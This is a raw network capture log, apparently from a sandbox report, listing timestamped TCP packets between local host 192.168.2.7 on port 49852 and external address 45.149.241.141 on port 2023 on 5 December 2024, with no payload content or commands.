Dec 5, 2024 10:39:25.089911938 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.089955091 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.089956999 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.091506958 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.091555119 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.091583967 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.093019962 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.093061924 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.093096972 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.094544888 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.094564915 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.094588995 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.096096039 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.096193075 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.096204042 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.097624063 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.097664118 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.097747087 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.099284887 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.099339962 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.099387884 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.100752115 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.100792885 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.100802898 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.102236032 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.102274895 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.102346897 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.103884935 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.103924036 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.103930950 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.105520964 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.105566978 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.105607986 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.107039928 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.107058048 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.107083082 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.108459949 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.108508110 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.108545065 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.109951019 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.109994888 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.110816002 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.111537933 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.111624002 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.111733913 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.113065004 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.113114119 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.113364935 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.114828110 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.114845037 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.114887953 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.116235971 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.116278887 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.116352081 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.117702007 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.117753029 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.117793083 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.119230032 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.119278908 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.119800091 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.120748043 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.120788097 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.120848894 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.122452974 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.122492075 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.122596025 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.123836994 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.123878956 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.123971939 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.125412941 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.125458956 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.125531912 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.126930952 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.126972914 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.127366066 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.128439903 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.128482103 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.128604889 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.130024910 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.130093098 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.130191088 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.131680012 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.131700039 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.131731033 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.133085966 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.133138895 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.133167028 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.134634018 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.134684086 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.134737968 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.136188984 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.136233091 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.136240959 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.137782097 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.137829065 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.137866020 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.139241934 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.139290094 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.139415026 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.140799046 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.140846968 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.140887976 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.142353058 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.142400980 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.142483950 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.143879890 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.143928051 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.143943071 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.145344973 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.145392895 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.255175114 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.255234957 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.255275965 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.255795956 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.255844116 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.255898952 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.257128000 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.257209063 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.257262945 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.258430958 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.258554935 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.258601904 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.259809017 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.259855032 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.259902000 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.261166096 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.261401892 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.261449099 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.262331009 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.262453079 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.262490988 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.263650894 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.263772964 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.263823032 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.264880896 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.264990091 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.265034914 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.266155005 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.266232014 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.266271114 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.267333031 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.267433882 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.267479897 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.268577099 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.268692970 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.268740892 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.269814014 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.269994974 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.270042896 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.271034956 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.271126032 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.271167040 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.272192955 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.272315979 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.272355080 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.273397923 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.273505926 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.273578882 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.274625063 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.274718046 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.274759054 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.275844097 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.275958061 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.276005983 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.277056932 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.277154922 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.277237892 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.278299093 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.278404951 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.278446913 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.279459953 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.279500008 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.279540062 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.280699015 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.280741930 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.280782938 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.281898022 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.281954050 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.281996965 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.283128023 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.283236027 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.283291101 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.284312963 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.284394026 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.284441948 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.285564899 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.285701990 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.285749912 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.286717892 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.286818027 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.286870956 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.288060904 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.288182974 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.288254976 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.289185047 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.289288044 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.289326906 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.290373087 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.290505886 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.290546894 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.291588068 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.291766882 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.291815996 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.292783976 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.292854071 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.292895079 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.294018030 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.294107914 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.294157028 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.295228958 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.295305967 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.295367956 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.296439886 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.296514988 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.296556950 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.297661066 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.297714949 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.297755957 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.298851013 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.299118042 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.299164057 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.300071001 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.300179005 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.300230026 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.301295042 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.301404953 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.301448107 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.302491903 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.302627087 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.302674055 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.303745985 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.303832054 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.303879023 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.305032969 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.305113077 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.305154085 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.306164980 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.306526899 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.306566954 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.307358027 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.307451963 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.307497978 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.308573008 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.308660984 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.308705091 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.309762955 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.309782028 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.309822083 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.310998917 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.311068058 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.311108112 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.312194109 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.312349081 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.312390089 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.313433886 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.313472033 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.313515902 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.314621925 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.314726114 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.314774036 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.315824032 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.315903902 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.315946102 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.317068100 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.317192078 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.317239046 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.318248987 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.318383932 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.318424940 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.319454908 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.394253969 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.448764086 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.448887110 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.448945045 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.449306011 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.449502945 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.449548006 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.450536013 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.450625896 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.450670004 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.451586962 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.452219963 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.452264071 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.452810049 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.453054905 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.453100920 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.454247952 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.454307079 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.454355001 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.455004930 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.455116034 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.455157995 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.456136942 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.456238985 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.456275940 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.457288980 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.457458973 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.457495928 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.458513975 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.458560944 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.458601952 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.459639072 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.459789038 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.459835052 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.460686922 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.460808039 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.460854053 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.461870909 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.462018013 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.462053061 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.462971926 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.463093042 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.463130951 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.464087009 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.464181900 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.464220047 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.465286970 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.465351105 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.465385914 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.466483116 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.466568947 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.466615915 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.467565060 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.467689037 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.467737913 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.468770027 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.468915939 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.468969107 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.469907999 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.470169067 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.470216990 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.471107960 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.471122026 CET	2023	49852	45.149.241.141	192.168.2.7
